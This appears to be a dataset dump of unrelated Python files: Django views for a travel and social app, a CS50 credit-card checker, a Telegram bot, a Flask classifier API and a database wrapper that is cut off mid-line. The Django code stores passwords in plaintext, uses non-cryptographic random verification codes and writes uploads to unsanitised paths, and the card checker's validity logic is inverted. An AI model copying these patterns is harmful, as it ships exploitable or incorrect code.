os\nfrom random import randint\n\n\n# Create your views here.\n\ndef index(request):\n return HttpResponse(\"Home\")\n\ndef login(request):\n # request\n result = {'result': 0}\n data = json.loads(request.body.decode(\"utf-8\"))\n userId = data['userId']\n password = data['password']\n fcmToken = data['fcmToken']\n # query\n try:\n u = UserAccount.objects.get(\n UserID = userId,\n Password = password\n )\n u.FcmToken = fcmToken\n u.save()\n result['userId'] = u.UserID\n result['email'] = u.EMail\n result['userName'] = u.UserName\n result['userPicture'] = 'http://' + request.get_host() + '/images/users/' + u.UserPicture\n result['modifyDate'] = str(u.ModifyDate)\n result['weight'] = u.Weight\n result['signInOrigin'] = u.SignInOrigin\n result['result'] = 1\n except Exception as e:\n result['message'] = str(e)\n return JsonResponse(result)\n\ndef threePartLogin(request):\n # request\n result = {'result': 0}\n data = json.loads(request.body.decode(\"utf-8\"))\n userId = data['userId']\n userName = data['userName']\n signInOrigin = data['signInOrigin']\n # query\n try:\n if UserAccount.objects.filter(UserID = userId).count() == 0: # signIn\n u = UserAccount()\n u.UserID = userId\n u.UserName = userName\n u.UserPicture = 'default.png'\n u.EMail = ''\n u.Password = ''\n u.VerificationCode = ''\n u.SignInOrigin = signInOrigin\n u.CreateDate = now()\n u.ModifyDate = now()\n u.save()\n \n u = UserAccount.objects.get(UserID = userId)\n result['userId'] = u.UserID\n result['email'] = u.EMail\n result['userName'] = u.UserName\n result['userPicture'] = 'http://' + request.get_host() + '/images/users/' + u.UserPicture\n result['weight'] = u.Weight\n result['signInOrigin'] = u.SignInOrigin\n result['modifyDate'] = str(u.ModifyDate)\n result['result'] = 1\n except Exception as e:\n result['message'] = str(e)\n return JsonResponse(result)\n\ndef signUp(request):\n # request\n result = {'result': 0}\n data = json.loads(request.body.decode(\"utf-8\"))\n userId = data['userId']\n email = data['email']\n password = data['password']\n userName = data['userName']\n # query\n try:\n if UserAccount.objects.filter(EMail = email).count() == 0 :\n UserAccount.objects.create(\n UserID = userId,\n EMail = email,\n Password = password,\n UserName = userName,\n UserPicture = 'default.png',\n SignInOrigin = 'roadtoadventure',\n CreateDate = now(),\n ModifyDate = now()\n )\n result['result'] = 1\n except Exception as e:\n result['message'] = str(e)\n return JsonResponse(result)\n\n\ndef updatePassword(request):\n # request\n result = {'result': 0}\n data = json.loads(request.body.decode(\"utf-8\"))\n userId = data['userId']\n oldPassword = data['oldPassword']\n newPassword = data['newPassword']\n # query\n try:\n u = UserAccount.objects.get(\n UserID = userId,\n Password = oldPassword\n )\n u.Password = newPassword\n u.save()\n result['result'] = 1\n except Exception as e:\n result['message'] = str(e)\n return JsonResponse(result)\n\ndef updatePicture(request):\n # request\n result = {'result': 0}\n data = json.loads(request.body.decode(\"utf-8\"))\n userId = data['userId']\n picturePath = data['picturePath']\n # query\n try:\n u = UserAccount.objects.get(UserID=userId)\n u.UserPicture = picturePath\n u.save()\n result['result'] = 1\n except Exception as e:\n result['message'] = str(e)\n return JsonResponse(result)\n\ndef forgetPassword(request):\n # request\n result = {'result': 0}\n data = json.loads(request.body.decode(\"utf-8\"))\n userId = data['userId']\n email = data['email']\n # query\n try:\n u = UserAccount.objects.get(\n UserID = userId,\n EMail = email\n )\n u.VerificationCode = getVerificationCode()\n u.save()\n email = EmailMessage(\n 'Hello',\n 'Your verificationCode is ' + u.VerificationCode,\n to=[email]\n )\n email.send()\n result['result'] = 1\n except Exception as e:\n result['message'] = str(e)\n return JsonResponse(result)\n\ndef getVerificationCode():\n code = ''\n for i in range(6):\n code += str(randint(1, 9))\n return code\n\ndef verifyCode(request):\n # request\n result = {'result': 0}\n data = json.loads(request.body.decode(\"utf-8\"))\n userId = data['userId']\n verificationCode = data['verificationCode']\n # query\n try:\n u = UserAccount.objects.get(\n UserID = userId,\n VerificationCode = verificationCode\n )\n result['result'] = 1\n except Exception as e:\n result['message'] = str(e)\n return JsonResponse(result)\n\ndef resetPassword(request):\n # request\n result = {'result': 0}\n data = json.loads(request.body.decode(\"utf-8\"))\n userId = data['userId']\n verificationCode = data['verificationCode']\n newPassword = data['newPassword']\n # query\n try:\n u = UserAccount.objects.get(\n UserID = userId,\n VerificationCode = verificationCode\n )\n u.Password = newPassword\n u.VerificationCode = getVerificationCode()\n u.save()\n result['result'] = 1\n except Exception as e:\n result['message'] = str(e)\n return JsonResponse(result)\n\ndef searchFriend(request):\n result = {'result': 0}\n data = json.loads(request.body.decode(\"utf-8\"))\n userId = data['userId']\n userName = data['userName']\n # query\n try:\n u = UserAccount.objects.get(UserID = userId)\n # get already friends \n alreadyFriends = [u]\n for uf in UserFriend.objects.filter(CreateUser__UserID = userId):\n alreadyFriends.append(uf.FriendUser)\n # get not contain already friends list\n friends = []\n for u in UserAccount.objects.filter(UserName__contains = userName):\n if u not in alreadyFriends:\n friend = {}\n friend['userId'] = u.UserID\n friend['userName'] = u.UserName\n friend['userPicture'] = 'http://' + request.get_host() + '/images/users/' + u.UserPicture\n friends.append(friend)\n result['friends'] = friends\n result['result'] = 1 if len(friends) > 0 else 0\n except Exception as e:\n result['message'] = str(e)\n return JsonResponse(result)\n\ndef createFriend(request):\n result = {'result': 0}\n data = json.loads(request.body.decode(\"utf-8\"))\n userId = data['userId']\n friendId = data['friendId']\n # query\n try: \n u = UserAccount.objects.get(UserID = userId)\n uf = UserAccount.objects.get(UserID = friendId)\n if UserFriend.objects.filter(CreateUser = u, FriendUser = uf).count() == 0 :\n UserFriend.objects.create(\n CreateUser = u,\n FriendUser = uf,\n CreateDate = now()\n )\n result['result'] = 1\n except Exception as e:\n result['message'] = str(e)\n return JsonResponse(result)\n\ndef deleteFriend(request):\n result = {'result': 0}\n data = json.loads(request.body.decode(\"utf-8\"))\n userId = data['userId']\n friendId = data['friendId']\n # query\n try: \n u = UserAccount.objects.get(UserID = userId)\n uf = UserAccount.objects.get(UserID = friendId)\n UserFriend.objects.get(\n CreateUser = u,\n FriendUser = uf\n ).delete()\n result['result'] = 1\n except Exception as e:\n result['message'] = str(e)\n return JsonResponse(result)\n\n\ndef getStrangerList(request):\n result = {'result': 0}\n data = json.loads(request.body.decode(\"utf-8\"))\n userId = data['userId']\n try:\n selfFriends = UserFriend.objects.select_related('CreateUser').filter(CreateUser__UserID = userId)\n otherFriends = UserFriend.objects.select_related('CreateUser').filter(FriendUser__UserID = userId)\n strangers = []\n for of in otherFriends:\n isFriend = False\n for sf in selfFriends:\n if of.CreateUser == sf.FriendUser:\n isFriend = True\n break\n if not isFriend:\n stranger = {}\n stranger['userId'] = of.CreateUser.UserID\n stranger['userName'] = of.CreateUser.UserName\n strangers.append(stranger)\n result['strangers'] = strangers\n result['result'] = 1 if len(strangers) > 0 else 0\n except Exception as e:\n result['message'] = str(e)\n return JsonResponse(result)\n\ndef getFriendList(request):\n result = {'result': 0}\n data = json.loads(request.body.decode(\"utf-8\"))\n userId = data['userId']\n try:\n friends = []\n for uf in UserFriend.objects.select_related('FriendUser').filter(CreateUser__UserID = userId):\n friend = {}\n friend['userId'] = uf.FriendUser.UserID\n friend['userName'] = uf.FriendUser.UserName\n friend['userPicture'] = 'http://' + request.get_host() + '/images/users/' + uf.FriendUser.UserPicture\n friends.append(friend)\n result['friends'] = friends\n result['result'] = 1 if len(friends) > 0 else 0\n except Exception as e:\n result['message'] = str(e)\n return JsonResponse(result)\n\ndef createFriendChat(request):\n result = {'result': 0}\n data = json.loads(request.body.decode(\"utf-8\"))\n userId = data['userId']\n friendId = data['friendId']\n content = data['content']\n lastChatId = data['lastChatId']\n try:\n with transaction.atomic():\n # create chat\n u = UserAccount.objects.get(UserID = userId)\n uf = UserAccount.objects.get(UserID = friendId)\n Chat.objects.create(\n CreateUser = u,\n FriendUser = uf,\n Content = content,\n CreateDate = now()\n )\n # get chats\n chats = []\n chats1 = Chat.objects.select_related('CreateUser','FriendUser').filter(CreateUser = u, FriendUser = uf, ChatID__gt = lastChatId)\n chats2 = Chat.objects.select_related('CreateUser','FriendUser').filter(CreateUser = uf, FriendUser = u, ChatID__gt = lastChatId)\n\n for c in chats1:\n chat = {}\n chat['chatId'] = c.ChatID\n chat['userId'] = c.CreateUser.UserID\n chat['userName'] = c.CreateUser.UserName\n chat['userPicture'] = 'http://' + request.get_host() + '/images/users/' + c.CreateUser.UserPicture\n chat['friendId'] = c.FriendUser.UserID\n chat['friendName'] = c.FriendUser.UserName\n chat['friendPicture'] = 'http://' + request.get_host() + '/images/users/' + c.FriendUser.UserPicture\n chat['content'] = c.Content\n chat['createDate'] = str(c.CreateDate)\n chats.append(chat)\n\n for c in chats2:\n chat = {}\n chat['chatId'] = c.ChatID\n chat['userId'] = c.CreateUser.UserID\n chat['userName'] = c.CreateUser.UserName\n chat['userPicture'] = 'http://' + request.get_host() + '/images/users/' + c.CreateUser.UserPicture\n chat['friendId'] = c.FriendUser.UserID\n chat['friendName'] = c.FriendUser.UserName\n chat['friendPicture'] = 'http://' + request.get_host() + '/images/users/' + c.FriendUser.UserPicture\n chat['content'] = c.Content\n chat['createDate'] = str(c.CreateDate)\n chats.append(chat)\n \n # sort\n chats = sorted(chats, key = lambda k: k['chatId'])\n\n # send message\n ids = [uf.FcmToken]\n data = {\n 'type': 'friend',\n 'userName': u.UserName,\n 'message': content,\n }\n fcm.sendMessage(ids, data)\n\n result['chats'] = chats\n result['result'] = 1\n except Exception as e:\n result['message'] = str(e)\n return JsonResponse(result)\n\ndef getChatList(request):\n result = {'result': 0}\n data = json.loads(request.body.decode(\"utf-8\"))\n userId = data['userId']\n friendId = data['friendId']\n lastChatId = data['lastChatId']\n try:\n chats = []\n selfChats = Chat.objects.select_related('CreateUser').filter(CreateUser__UserID = userId , FriendUser__UserID = friendId)\n otherChats = Chat.objects.select_related('CreateUser').filter(CreateUser__UserID = friendId , FriendUser__UserID = userId)\n for sc in selfChats:\n if sc.ChatID > lastChatId: \n chat = {}\n chat['chatId'] = sc.ChatID\n chat['userId'] = sc.CreateUser.UserID\n chat['userName'] = sc.CreateUser.UserName\n chat['userPicture'] = 'http://' + request.get_host() + '/images/users/' + sc.CreateUser.UserPicture\n chat['friendId'] = sc.FriendUser.UserID\n chat['friendName'] = sc.FriendUser.UserName\n chat['friendPicture'] = 'http://' + request.get_host() + '/images/users/' + sc.FriendUser.UserPicture\n chat['content'] = sc.Content\n chat['createDate'] = str(sc.CreateDate)\n chats.append(chat)\n\n for oc in otherChats:\n if oc.ChatID > lastChatId:\n chat = {}\n chat['chatId'] = oc.ChatID\n chat['userId'] = oc.CreateUser.UserID\n chat['userName'] = oc.CreateUser.UserName\n chat['userPicture'] = 'http://' + request.get_host() + '/images/users/' + oc.CreateUser.UserPicture\n chat['friendId'] = oc.FriendUser.UserID\n chat['friendName'] = oc.FriendUser.UserName\n chat['friendPicture'] = 'http://' + request.get_host() + '/images/users/' + oc.FriendUser.UserPicture\n chat['content'] = oc.Content\n chat['createDate'] = str(oc.CreateDate)\n chats.append(chat)\n \n result['chats'] = chats\n result['result'] = 1 if len(chats) > 0 else 0\n except Exception as e:\n result['message'] = str(e)\n return JsonResponse(result) \n\ndef getPath(x):\n return {\n \"0\": IMAGE_USER_URL,\n \"1\": IMAGE_GROUP_URL,\n \"2\": IMAGE_PERSONAL_JOURNEY_URL,\n \"3\": IMAGE_GROUP_JOURNEY_URL\n }.get(x, IMAGE_OTHER_URL)\n\ndef createPicture(request):\n # request\n result = {'result': 0}\n fileName = request.POST.get('fileName')\n subFileName = request.POST.get('subFileName')\n mFile = request.FILES.get('file')\n mType = request.POST.get('type')\n\n if mFile is not None:\n try:\n completeFileName = fileName + '.' + subFileName\n path = getPath(mType)\n with open(os.path.join(IMAGE_ROOT, path, completeFileName), 'wb+') as destination:\n for chunk in mFile.chunks():\n destination.write(chunk)\n \n result['picturePath'] = completeFileName\n result['fullPath'] = 'http://' + request.get_host() + '/images/' + path + '/' + completeFileName\n result['result'] = 1\n except Exception as e:\n result['message'] = str(e)\n return JsonResponse(result)\n\ndef now():\n return datetime.datetime.now().replace(microsecond = 0)","sub_path":"users/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":16366,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"392499664","text":"from cs50 import get_string\n\n#CheckMethod\ndef checkValidNumber(number):\n numberDigitCount = len(number)\n\n if ((numberDigitCount == 13) or (numberDigitCount == 15) or (numberDigitCount == 16)):\n sum = 0\n\n for i in range(1, numberDigitCount + 1, 1):\n temp = (int(number) % (pow(10,i)))\n\n if i > 1:\n temp = ((int(number) % (pow(10,i))) / (pow(10,i - 1)))\n\n if (i % 2 == 1):\n sum += temp\n else:\n sum += (temp * 2) / 10\n sum += (temp * 2) % 10\n\n if ((sum % 10) == 0):\n\n return False\n else:\n\n return True\n #Wrong digit length\n return False\n#=====\ndef getCardSupplier(number):\n # numberDigitCount = len(number)\n\n # temp = int(number) / (pow(10 , (numberDigitCount - 2)))\n\n firstInt = number[0]\n\n secondInt = number[1]\n\n if (int(firstInt) == 4):\n return \"VISA\"\n if (int(firstInt) * 10 + int(secondInt)) in [34,37]:\n return \"All American Express\"\n if (int(firstInt) * 10 + int(secondInt)) in [51,52,53,54,55]:\n return \"MasterCard\"\n\n return \"Invalid\"\n#=====\nnumber = get_string(\"Number: \")\n\nif checkValidNumber(number):\n cardSupplier = getCardSupplier(number)\n print(cardSupplier)\n","sub_path":"pset6/credit/credit.py","file_name":"credit.py","file_ext":"py","file_size_in_byte":1288,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"321773742","text":"# -*- coding: UTF-8 -*-\r\n\r\nimport requests\r\nimport telebot\r\nimport tmdbsimple as tmbd\r\nfrom tokens import *\r\n\r\nbot = telebot.TeleBot(TOKEN)\r\ntmbd.API_KEY = API_KEY_TMBD\r\n\r\n@bot.message_handler(commands=[\"start\"])\r\ndef start_handler(m):\r\n\r\n bot.send_message(m.chat.id, \" Bienvenido \")\r\n bot.send_message(m.chat.id, \" My Peliculas List :D \")\r\n\r\n\r\n@bot.message_handler(commands=[\"valoradas\"])\r\ndef search(m):\r\n url = \"https://api.themoviedb.org/3/movie/top_rated?language=es-ES&api_key=\" + API_KEY_TMBD\r\n response = requests.get(url)\r\n data = response.json()['results']\r\n for f in data[:10]:\r\n bot.send_message(m.chat.id, f['title'])\r\n\r\n\r\n@bot.message_handler(commands=[\"populares\"])\r\ndef search(m):\r\n url = \"https://api.themoviedb.org/3/movie/popular?language=es-ES&api_key=\" + API_KEY_TMBD\r\n response = requests.get(url)\r\n data = response.json()['results']\r\n for f in data[:10]:\r\n bot.send_message(m.chat.id, f['title'])\r\n\r\n\r\n\r\nbot.polling()\r\n\r\n\r\n","sub_path":"tmbd.py","file_name":"tmbd.py","file_ext":"py","file_size_in_byte":996,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"18758932","text":"import datetime\nimport re\n\nfrom django.http import HttpResponse\nfrom django.template import RequestContext, loader\nfrom django.db.models import Q\nfrom django.shortcuts import redirect\nfrom django.shortcuts import render\nfrom django.core.paginator import Paginator, EmptyPage, PageNotAnInteger\n\nfrom manolo.models import Manolo\n\n\ndef index(request):\n return render(request, \"manolo/index.html\")\n\n\ndef search(request):\n template = loader.get_template('manolo/search_result.html')\n if 'q' in request.GET:\n query = request.GET['q']\n if query.strip() == '':\n return redirect('/manolo/')\n else:\n results = find_in_db(query)\n\n if results == \"No se encontraron resultados.\":\n return render(request,\n \"manolo/search_result.html\",\n {'items': results, 'keyword': query, }\n )\n else:\n all_items = results\n obj = do_pagination(request, all_items)\n return render(request, \"manolo/search_result.html\",\n {\n \"items\": obj['items'],\n \"first_half\": obj['first_half'],\n \"second_half\": obj['second_half'],\n \"first_page\": obj['first_page'],\n \"last_page\": obj['last_page'],\n \"current\": obj['current'],\n \"pagination_keyword\": query,\n \"keyword\": query,\n }\n )\n else:\n return redirect('/manolo/')\n\n\ndef validate(query):\n try:\n return datetime.datetime.strptime(query, \"%d/%m/%Y\")\n except ValueError:\n return False\n\n\ndef sanitize(s):\n s = s.replace(\"'\", \"\")\n s = s.replace('\"', \"\")\n s = s.replace(\"/\", \"\")\n s = s.replace(\"\\\\\", \"\")\n s = s.replace(\";\", \"\")\n s = s.replace(\"=\", \"\")\n s = s.replace(\"*\", \"\")\n s = s.replace(\"%\", \"\")\n new_s = s.strip()\n new_s = re.sub(\"\\s+\", \" \", new_s)\n return new_s\n\n\ndef find_in_db(query):\n \"\"\"\n Finds items according to user search.\n\n :param query: user's keyword\n :return: QuerySet object with items or string if no results were found.\n \"\"\"\n # find if it is date\n it_is_date = validate(query)\n if it_is_date is not False:\n results = Manolo.objects.filter(date=it_is_date)\n else:\n query = sanitize(query)\n try:\n results = Manolo.objects.filter(\n Q(visitor__icontains=query) |\n Q(id_document__icontains=query) |\n Q(entity__icontains=query) |\n Q(objective__icontains=query) |\n Q(host__icontains=query) |\n Q(office__icontains=query) |\n Q(meeting_place__icontains=query),\n ).order_by('-date')\n except Manolo.DoesNotExist:\n results = \"No se encontraron resultados.\"\n # count number of results\n # return list of entries for template\n if len(results) < 1:\n return \"No se encontraron resultados.\"\n else:\n return results\n\n\ndef do_pagination(request, all_items):\n \"\"\"\n :param request: contains the current page requested by user\n :param all_items:\n :return: dict containing paginated items and pagination bar\n \"\"\"\n paginator = Paginator(all_items, 50)\n\n page = request.GET.get('page')\n\n try:\n items = paginator.page(page)\n cur = int(page)\n except PageNotAnInteger:\n # If page is not an integer, deliver first page.\n items = paginator.page(1)\n cur = 1\n except EmptyPage:\n # If page is out of range (e.g. 9999), deliver last page of results.\n items = paginator.page(paginator.num_pages)\n cur = 1\n\n if cur > 20:\n first_half = range(cur - 10, cur)\n # is current less than last page?\n if cur < paginator.page_range[-1] - 10:\n second_half = range(cur + 1, cur + 10)\n else:\n second_half = range(cur + 1, paginator.page_range[-1])\n else:\n first_half = range(1, cur)\n if paginator.page_range[-1] > 20:\n second_half = range(cur + 1, 21)\n else:\n second_half = range(cur + 1, paginator.page_range[-1] + 1)\n\n obj = {\n 'items': items,\n \"first_half\": first_half,\n \"second_half\": second_half,\n \"first_page\": paginator.page_range[0],\n \"last_page\": paginator.page_range[-1],\n \"current\": cur,\n }\n return obj\n","sub_path":"manolo/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4590,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"379569841","text":"from sys import argv\nfrom scipy.io import loadmat\nfrom json import dumps\n\nfpath = argv[1] # model folder (e.g. '/app/rbc')\nmodel = fpath[ fpath.rfind('/')+1: ] # model name (e.g. rbc)\n\n# load mat file and create dict out of numpy lists\nmat = loadmat(fpath + '/' + model + '_results.mat')\n\n################################################################\n# 1 - save simulation results for endogenous variables #\n################################################################\n\nendo_names = mat['M_']['endo_names'].tolist()[0][0]\nendo_simul = mat['oo_']['endo_simul'].tolist()[0][0]\n\n# save results in new dictionary\nresults = {}\nfor name, simul in zip(endo_names, endo_simul):\n results[name.strip()] = simul.tolist()\n\n# save dictionary as json\nwith open(fpath + '/results_simul.json', 'w') as f:\n f.write(unicode(dumps(results, ensure_ascii=False)))\n\n################################################################\n# 2 - save impulse response functions for endogenous variables #\n################################################################\n\nexo_names = mat['M_']['exo_names'].tolist()[0][0]\nirfmat = mat['oo_']['irfs'][0][0]\n\n# create dicitonary to store all irf results\nirfs = {}\nfor exo in exo_names:\n irfs[str(exo)] = {}\n for endo in endo_names:\n exos = str(exo).strip()\n endos = str(endo).strip()\n irfs[exos][endos] = irfmat[endos+'_'+exos][0][0].tolist()[0]\n\n# save dictionary as json\nwith open(fpath + '/results_irf.json', 'w') as f:\n f.write(unicode(dumps(irfs, ensure_ascii=False)))\n","sub_path":"python/saveResults.py","file_name":"saveResults.py","file_ext":"py","file_size_in_byte":1537,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"283062162","text":"import os\nfrom flask import Flask\nfrom flask import request\nfrom flask_restful import Resource, Api\nfrom redis import StrictRedis\nimport joblib\nimport json\n\nfrom linc_cv.settings import VALID_LION_IMAGE_TYPES, REDIS_TRAINING_CELERY_TASK_ID_KEY, \\\n WHISKER_FEATURE_X_PATH, WHISKER_FEATURE_Y_PATH, CV_CLASSIFIER_PATH, CV_MODEL_CLASSES_JSON\n\nfrom linc_cv.tasks import c, classify_image_url, retrain\nimport linc_cv.modality_cv.predict\n\nAPI_KEY = os.environ['API_KEY']\n\ntask_id = StrictRedis().get(REDIS_TRAINING_CELERY_TASK_ID_KEY)\nif task_id is not None:\n c.control.revoke(task_id.decode(), terminate=True)\nStrictRedis().delete(REDIS_TRAINING_CELERY_TASK_ID_KEY)\napp = Flask(__name__)\n\n\nclass LincResultAPI(Resource):\n def get(self, celery_id):\n if request.headers.get('ApiKey') != API_KEY:\n return {'status': 'error', 'info': 'authentication failure'}, 401\n t = c.AsyncResult(id=celery_id)\n if t.ready():\n return t.get()\n else:\n return {'status': t.status}\n\n\nclass LincClassifierCapabilitiesAPI(Resource):\n\n def get(self):\n if request.headers.get('ApiKey') != API_KEY:\n return {'status': 'error', 'info': 'authentication failure'}, 401\n y = joblib.load(WHISKER_FEATURE_Y_PATH)\n whisker_labels = sorted(list(set(y)))\n\n whisker_topk_classifier_accuracy = [\n 0.0, 0.28, 0.333, 0.364, 0.384, 0.396, 0.407, 0.42, 0.436, 0.44, 0.449,\n 0.453, 0.458, 0.46, 0.464, 0.471, 0.473, 0.48, 0.487, 0.491]\n\n cv_topk_classifier_accuracy = [\n 0.010, 0.010, 0.010, 0.010, 0.010, 0.010, 0.010, 0.010, 0.010, 0.010, 0.010,\n 0.010, 0.010, 0.010, 0.010, 0.010, 0.010, 0.010, 0.010, 0.010]\n\n with open(CV_MODEL_CLASSES_JSON) as fd:\n cv_labels = json.load(fd)\n\n return {\n 'valid_cv_lion_ids': cv_labels, 'valid_whisker_lion_ids': whisker_labels,\n 'cv_topk_classifier_accuracy': cv_topk_classifier_accuracy,\n 'whisker_topk_classifier_accuracy': whisker_topk_classifier_accuracy, }\n\n\nclass LincTrainAPI(Resource):\n def post(self):\n if request.headers.get('ApiKey') != API_KEY:\n return {'status': 'error', 'info': 'authentication failure'}, 401\n\n r = StrictRedis()\n task_id = r.get(REDIS_TRAINING_CELERY_TASK_ID_KEY)\n if task_id is None:\n task = retrain.delay()\n task_id = task.id\n r.set(REDIS_TRAINING_CELERY_TASK_ID_KEY, task_id)\n else:\n task_id = task_id.decode()\n task = c.AsyncResult(id=task_id)\n if task.state == 'SUCCESS':\n r.delete(REDIS_TRAINING_CELERY_TASK_ID_KEY)\n return {'state': task.state}, 200\n\n\nclass LincClassifyAPI(Resource):\n def post(self):\n if request.headers.get('ApiKey') != API_KEY:\n return {'status': 'error', 'info': 'authentication failure'}, 401\n\n errors = []\n failure = False\n\n rj = request.get_json()\n app.logger.debug(['request json', rj])\n if rj is None:\n errors.append('Could not parse JSON data from request')\n failure = True\n\n image_type = None\n try:\n image_type = rj['type']\n except KeyError:\n errors.append('Missing image type')\n failure = True\n\n if image_type not in VALID_LION_IMAGE_TYPES:\n errors.append(f'Invalid type: type must be one of {VALID_LION_IMAGE_TYPES}')\n failure = True\n\n image_url = None\n try:\n image_url = rj['url']\n except KeyError:\n errors.append('Missing URL')\n failure = True\n\n job_id = None\n if failure:\n status = 'FAILURE'\n status_code = 400\n else:\n job_id = classify_image_url.delay(image_url, image_type).id\n status = 'PENDING'\n status_code = 200\n\n return {'id': job_id, 'status': status, 'errors': errors}, status_code\n\n\napi = Api(app)\n\napi.add_resource(LincClassifyAPI, '/linc/v1/classify')\napi.add_resource(LincTrainAPI, '/linc/v1/train')\napi.add_resource(LincClassifierCapabilitiesAPI, '/linc/v1/capabilities')\napi.add_resource(LincResultAPI, '/linc/v1/results/')\n\nif __name__ == '__main__':\n app.run(debug=False, host='0.0.0.0')\n","sub_path":"linc_cv/web.py","file_name":"web.py","file_ext":"py","file_size_in_byte":4345,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"173123783","text":"import turtle\n\ndef drawSquare(t, sz):\n for i in range(4):\n t.forward(sz)\n t.left(90)\n\na = turtle.Screen()\na.bgcolor(\"lightgreen\")\n\nb = turtle.Turtle()\nb.color('hotpink')\nb.pensize(3)\n\nfor i in range(5):\n drawSquare(b, 20)\n b.penup()\n b.forward(40)\n b.pendown()\n\na.exitonclick()\n","sub_path":"Lession 4/SS4 Cau4.1.py","file_name":"SS4 Cau4.1.py","file_ext":"py","file_size_in_byte":307,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"554293914","text":"\"\"\"\n>>> import tensorflow as tf\n>>> b = tf.Variable(tf.zeros([1000]))\n>>> b\n\n>>>\n\"\"\"\n\nimport tensorflow as tf\ng = tf.Graph()\nwith g.as_default():\n import tensorflow as tf\n sess = tf.Session()\n W_m = tf.Variable(tf.zeros([10,5]))\n x_v = tf.placeholder(tf.float32,[None,10])\n result = tf.matmul(x_v,W_m)\nprint(g.as_graph_def())\n\n\n\"\"\"\n$ python eg5.py\nnode {\n name: \"zeros/shape_as_tensor\"\n op: \"Const\"\n attr {\n key: \"dtype\"\n value {\n type: DT_INT32\n }\n }\n attr {\n key: \"value\"\n value {\n tensor {\n dtype: DT_INT32\n tensor_shape {\n dim {\n size: 2\n }\n }\n tensor_content: \"\\n\\000\\000\\000\\005\\000\\000\\000\"\n }\n }\n }\n}\nnode {\n name: \"zeros/Const\"\n op: \"Const\"\n attr {\n key: \"dtype\"\n value {\n type: DT_FLOAT\n }\n }\n attr {\n key: \"value\"\n value {\n tensor {\n dtype: DT_FLOAT\n tensor_shape {\n }\n float_val: 0.0\n }\n }\n }\n}\nnode {\n name: \"zeros\"\n op: \"Fill\"\n input: \"zeros/shape_as_tensor\"\n input: \"zeros/Const\"\n attr {\n key: \"T\"\n value {\n type: DT_FLOAT\n }\n }\n attr {\n key: \"index_type\"\n value {\n type: DT_INT32\n }\n }\n}\nnode {\n name: \"Variable\"\n op: \"VariableV2\"\n attr {\n key: \"container\"\n value {\n s: \"\"\n }\n }\n attr {\n key: \"dtype\"\n value {\n type: DT_FLOAT\n }\n }\n attr {\n key: \"shape\"\n value {\n shape {\n dim {\n size: 10\n }\n dim {\n size: 5\n }\n }\n }\n }\n attr {\n key: \"shared_name\"\n value {\n s: \"\"\n }\n }\n}\nnode {\n name: \"Variable/Assign\"\n op: \"Assign\"\n input: \"Variable\"\n input: \"zeros\"\n attr {\n key: \"T\"\n value {\n type: DT_FLOAT\n }\n }\n attr {\n key: \"_class\"\n value {\n list {\n s: \"loc:@Variable\"\n }\n }\n }\n attr {\n key: \"use_locking\"\n value {\n b: true\n }\n }\n attr {\n key: \"validate_shape\"\n value {\n b: true\n }\n }\n}\nnode {\n name: \"Variable/read\"\n op: \"Identity\"\n input: \"Variable\"\n attr {\n key: \"T\"\n value {\n type: DT_FLOAT\n }\n }\n attr {\n key: \"_class\"\n value {\n list {\n s: \"loc:@Variable\"\n }\n }\n }\n}\nnode {\n name: \"Placeholder\"\n op: \"Placeholder\"\n attr {\n key: \"dtype\"\n value {\n type: DT_FLOAT\n }\n }\n attr {\n key: \"shape\"\n value {\n shape {\n dim {\n size: -1\n }\n dim {\n size: 10\n }\n }\n }\n }\n}\nnode {\n name: \"MatMul\"\n op: \"MatMul\"\n input: \"Placeholder\"\n input: \"Variable/read\"\n attr {\n key: \"T\"\n value {\n type: DT_FLOAT\n }\n }\n attr {\n key: \"transpose_a\"\n value {\n b: false\n }\n }\n attr {\n key: \"transpose_b\"\n value {\n b: false\n }\n }\n}\nversions {\n producer: 26\n}\n\"\"\"","sub_path":"Use-TF-To-Building-Machine-Learning/1/eg_1_2_01.py","file_name":"eg_1_2_01.py","file_ext":"py","file_size_in_byte":2896,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"71"} +{"seq_id":"474304506","text":"import pandas as pd\nimport pymysql\nimport datetime\nfrom pandas import DataFrame\nimport numpy as np\nfrom dbutils.steady_db import connect\n\n\nclass RankDB():\n \"\"\"\n a mariadb wrapper for the following tables:\n - stock_data\n - corporate_data\n - corporate_financials\n - model_event_queue\n - top_performers\n \"\"\"\n\n def __init__(self):\n\n self.credentials = ['localhost', 'username',\n 'password', 'vestra']\n self.db = connect(\n creator=pymysql,\n host=self.credentials[0],\n user=self.credentials[1],\n password=self.credentials[2],\n database=self.credentials[3],\n autocommit=True,\n charset='utf8mb4',\n cursorclass=pymysql.cursors.DictCursor\n )\n\n def get_stock_prices(self, ticker, time_period=False, limit=False, time_normalized=False, dataframe=False):\n \"\"\"\n Gets the stock prices given a ticker and the time period\n TODO: Add filters\n\n Parameters:\n - ticker :: The ticker for which to get the stock data (string)\n - time_period :: a list with the 0th index being the starting time string and the\n first index being the ending date string (not inclusive). Note*\n that the strings must be in the \"YYYY-MM-DD HH:mm:ss\" format\n - time_normalized :: If True, all gaps in the data will be normalized with NaN values\n - limit :: The limit is how many values to\n - dataframe :: If true, a pandas dataframe object will be returned\n \"\"\"\n cursor = self.db.cursor()\n sql = \"SELECT `date`, `open`, `high`, `low`, `close`, `volume` FROM `stock_data` WHERE `ticker` = '{}'\".format(\n ticker)\n\n if time_period:\n\n if type(time_period) != list or len(time_period) != 2:\n return False\n\n if not time_period[0]:\n\n earliest_timestamp = \"SELECT `date` FROM `stock_data` WHERE `ticker` = '{}' ORDER BY `date` ASC LIMIT 1;\".format(\n ticker)\n cursor.execute(earliest_timestamp)\n results = cursor.fetchall()\n\n if not results:\n raise Exception(\n \"Ticker value `{}` not found\".format(ticker))\n\n time_period[0] = 